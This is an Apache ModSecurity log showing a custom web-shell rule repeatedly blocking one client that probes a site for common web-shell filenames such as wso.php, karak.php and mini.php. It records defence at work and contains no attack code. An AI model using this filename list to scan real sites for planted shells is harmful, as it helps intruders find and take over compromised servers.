[Mon Dec 08 21:18:51.505459 2025] [:error] [pid 50569:tid 50594] [client 4.190.217.206:10979] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aTbQO_HhZxyKreYmWzKthAAAABY"]
[Mon Dec 08 21:18:51.747472 2025] [:error] [pid 48481:tid 48486] [client 4.190.217.206:11119] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aTbQOye0pzx5KCi3S0IaugAAAME"]
[Mon Dec 08 21:18:51.989674 2025] [:error] [pid 48481:tid 48509] [client 4.190.217.206:11182] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aTbQOye0pzx5KCi3S0IauwAAANg"]
[Mon Dec 08 21:18:52.235901 2025] [:error] [pid 48482:tid 48515] [client 4.190.217.206:11008] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aTbQPH23gV7gRu3vn82CowAAAIM"]
[Mon Dec 08 21:18:52.483611 2025] [:error] [pid 48481:tid 48501] [client 4.190.217.206:11121] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aTbQPCe0pzx5KCi3S0IavQAAANA"]
[Mon Dec 08 21:18:52.731819 2025] [:error] [pid 48482:tid 48519] [client 4.190.217.206:11175] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aTbQPH23gV7gRu3vn82CpgAAAIc"]
[Mon Dec 08 21:18:52.992688 2025] [:error] [pid 48573:tid 48587] [client 4.190.217.206:11106] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aTbQPFIayuqwlm3CEkaFGQAAAUw"]
[Mon Dec 08 21:18:53.233266 2025] [:error] [pid 48482:tid 48512] [client 4.190.217.206:11166] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aTbQPX23gV7gRu3vn82CpwAAAIA"]
[Mon Dec 08 21:18:53.475121 2025] [:error] [pid 48482:tid 48514] [client 4.190.217.206:11017] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aTbQPX23gV7gRu3vn82CqQAAAII"]
[Mon Dec 08 21:18:53.724739 2025] [:error] [pid 48482:tid 48513] [client 4.190.217.206:19834] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aTbQPX23gV7gRu3vn82CqgAAAIE"]
[Mon Dec 08 21:18:54.024254 2025] [:error] [pid 48481:tid 48503] [client 4.190.217.206:11111] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aTbQPie0pzx5KCi3S0IavgAAANI"]
[Mon Dec 08 21:18:54.263465 2025] [:error] [pid 48482:tid 48528] [client 4.190.217.206:10987] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aTbQPn23gV7gRu3vn82CrQAAAJA"]
[Mon Dec 08 21:18:54.503262 2025] [:error] [pid 50569:tid 50588] [client 4.190.217.206:19759] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aTbQPvHhZxyKreYmWzKtiQAAABA"]
[Mon Dec 08 21:18:54.744222 2025] [:error] [pid 48482:tid 48536] [client 4.190.217.206:11103] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aTbQPn23gV7gRu3vn82CrgAAAJg"]
[Mon Dec 08 21:18:54.984786 2025] [:error] [pid 48482:tid 48517] [client 4.190.217.206:11109] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aTbQPn23gV7gRu3vn82CsAAAAIU"]
[Mon Dec 08 21:18:55.226357 2025] [:error] [pid 50569:tid 50575] [client 4.190.217.206:11033] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aTbQP_HhZxyKreYmWzKtiwAAAAM"]
[Mon Dec 08 21:18:55.527966 2025] [:error] [pid 50569:tid 50593] [client 4.190.217.206:11024] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aTbQP_HhZxyKreYmWzKtjAAAABU"]
[Mon Dec 08 21:18:55.768576 2025] [:error] [pid 50569:tid 50592] [client 4.190.217.206:11059] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aTbQP_HhZxyKreYmWzKtjgAAABQ"]
[Mon Dec 08 21:18:56.031430 2025] [:error] [pid 48481:tid 48490] [client 4.190.217.206:11094] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/406.php"] [unique_id "aTbQQCe0pzx5KCi3S0IawAAAAMU"]
[Mon Dec 08 21:18:56.272840 2025] [:error] [pid 48482:tid 48518] [client 4.190.217.206:11079] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aTbQQH23gV7gRu3vn82CsgAAAIY"]
[Mon Dec 08 21:18:56.574719 2025] [:error] [pid 50569:tid 50587] [client 4.190.217.206:11047] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aTbQQPHhZxyKreYmWzKtjwAAAA8"]
[Mon Dec 08 21:18:56.813822 2025] [:error] [pid 50569:tid 50576] [client 4.190.217.206:11040] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aTbQQPHhZxyKreYmWzKtkAAAAAQ"]
[Mon Dec 08 21:18:57.054092 2025] [:error] [pid 50569:tid 50590] [client 4.190.217.206:11135] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mariju.php"] [unique_id "aTbQQfHhZxyKreYmWzKtkQAAABI"]
[Mon Dec 08 21:18:57.294045 2025] [:error] [pid 48482:tid 48535] [client 4.190.217.206:11081] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aTbQQX23gV7gRu3vn82CswAAAJc"]
[Mon Dec 08 21:18:57.533469 2025] [:error] [pid 48482:tid 48529] [client 4.190.217.206:11113] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aTbQQX23gV7gRu3vn82CtAAAAJE"]
[Mon Dec 08 21:18:57.772426 2025] [:error] [pid 50569:tid 50586] [client 4.190.217.206:11060] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aTbQQfHhZxyKreYmWzKtlgAAAA4"]
[Mon Dec 08 21:18:58.011206 2025] [:error] [pid 50569:tid 50583] [client 4.190.217.206:11002] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aTbQQvHhZxyKreYmWzKtlwAAAAs"]
[Mon Dec 08 21:18:58.311830 2025] [:error] [pid 50569:tid 50596] [client 4.190.217.206:11062] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aTbQQvHhZxyKreYmWzKtmgAAABg"]
[Mon Dec 08 21:18:58.551122 2025] [:error] [pid 50569:tid 50584] [client 4.190.217.206:11148] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aTbQQvHhZxyKreYmWzKtmwAAAAw"]
[Mon Dec 08 21:18:58.791834 2025] [:error] [pid 50569:tid 50592] [client 4.190.217.206:11145] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aTbQQvHhZxyKreYmWzKtnQAAABQ"]
[Mon Dec 08 21:18:59.031991 2025] [:error] [pid 50569:tid 50582] [client 4.190.217.206:19756] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aTbQQ_HhZxyKreYmWzKtngAAAAo"]
[Mon Dec 08 21:18:59.272230 2025] [:error] [pid 50569:tid 50576] [client 4.190.217.206:11066] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aTbQQ_HhZxyKreYmWzKtoAAAAAQ"]
[Mon Dec 08 21:18:59.511938 2025] [:error] [pid 48481:tid 48500] [client 4.190.217.206:11088] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aTbQQye0pzx5KCi3S0IaxAAAAM8"]
[Mon Dec 08 21:18:59.752485 2025] [:error] [pid 48482:tid 48512] [client 4.190.217.206:11041] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aTbQQ323gV7gRu3vn82CtgAAAIA"]
[Mon Dec 08 21:18:59.992946 2025] [:error] [pid 50569:tid 50586] [client 4.190.217.206:11051] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zfile.php"] [unique_id "aTbQQ_HhZxyKreYmWzKtowAAAA4"]
[Mon Dec 08 21:19:00.293817 2025] [:error] [pid 48482:tid 48519] [client 4.190.217.206:19752] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aTbQRH23gV7gRu3vn82CuAAAAIc"]
[Mon Dec 08 21:19:00.542997 2025] [:error] [pid 48482:tid 48528] [client 4.190.217.206:11083] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aTbQRH23gV7gRu3vn82CuQAAAJA"]
[Mon Dec 08 21:19:00.795332 2025] [:error] [pid 48482:tid 48534] [client 4.190.217.206:11071] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aTbQRH23gV7gRu3vn82CugAAAJY"]
[Mon Dec 08 21:19:01.096524 2025] [:error] [pid 48482:tid 48520] [client 4.190.217.206:11110] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aTbQRX23gV7gRu3vn82CuwAAAIg"]
[Mon Dec 08 21:19:01.336307 2025] [:error] [pid 50569:tid 50596] [client 4.190.217.206:10995] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aTbQRfHhZxyKreYmWzKtqAAAABg"]
[Mon Dec 08 21:19:01.575886 2025] [:error] [pid 50569:tid 50593] [client 4.190.217.206:11199] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aTbQRfHhZxyKreYmWzKtqQAAABU"]
[Mon Dec 08 21:19:01.816410 2025] [:error] [pid 48573:tid 48589] [client 4.190.217.206:11128] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aTbQRVIayuqwlm3CEkaFHQAAAU4"]
[Mon Dec 08 21:19:02.057043 2025] [:error] [pid 48482:tid 48521] [client 4.190.217.206:11061] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/des.php"] [unique_id "aTbQRn23gV7gRu3vn82CwgAAAIk"]
[Mon Dec 08 21:19:02.297566 2025] [:error] [pid 50569:tid 50592] [client 4.190.217.206:11016] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aTbQRvHhZxyKreYmWzKtqgAAABQ"]
[Mon Dec 08 21:19:02.539700 2025] [:error] [pid 48481:tid 48486] [client 4.190.217.206:11044] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aTbQRie0pzx5KCi3S0IaxgAAAME"]
[Mon Dec 08 21:19:02.780218 2025] [:error] [pid 50569:tid 50594] [client 4.190.217.206:10951] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aTbQRvHhZxyKreYmWzKtqwAAABY"]
[Mon Dec 08 21:19:03.019493 2025] [:error] [pid 48573:tid 48598] [client 4.190.217.206:11073] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aTbQR1Iayuqwlm3CEkaFHwAAAVc"]
[Mon Dec 08 21:19:03.259696 2025] [:error] [pid 50569:tid 50590] [client 4.190.217.206:10947] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aTbQR_HhZxyKreYmWzKtrgAAABI"]
[Mon Dec 08 21:19:03.500680 2025] [:error] [pid 48481:tid 48509] [client 4.190.217.206:11134] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aTbQRye0pzx5KCi3S0IaxwAAANg"]
[Mon Dec 08 21:19:03.741033 2025] [:error] [pid 50569:tid 50583] [client 4.190.217.206:11054] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aTbQR_HhZxyKreYmWzKtsAAAAAs"]
[Mon Dec 08 21:19:03.981401 2025] [:error] [pid 48482:tid 48526] [client 4.190.217.206:19796] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "aTbQR323gV7gRu3vn82CxwAAAI4"]
[Mon Dec 08 21:19:04.222568 2025] [:error] [pid 48481:tid 48501] [client 4.190.217.206:11034] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aTbQSCe0pzx5KCi3S0IayAAAANA"]
[Mon Dec 08 21:19:04.465006 2025] [:error] [pid 48573:tid 48576] [client 4.190.217.206:11058] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aTbQSFIayuqwlm3CEkaFIQAAAUE"]
[Mon Dec 08 21:19:04.705245 2025] [:error] [pid 50569:tid 50593] [client 4.190.217.206:11086] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aTbQSPHhZxyKreYmWzKtsgAAABU"]
[Mon Dec 08 21:19:04.945291 2025] [:error] [pid 50569:tid 50582] [client 4.190.217.206:11187] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aTbQSPHhZxyKreYmWzKttAAAAAo"]
[Mon Dec 08 21:19:05.185585 2025] [:error] [pid 48482:tid 48519] [client 4.190.217.206:11203] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aTbQSX23gV7gRu3vn82CyQAAAIc"]
[Mon Dec 08 21:19:05.425714 2025] [:error] [pid 48481:tid 48498] [client 4.190.217.206:11099] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aTbQSSe0pzx5KCi3S0IazQAAAM0"]
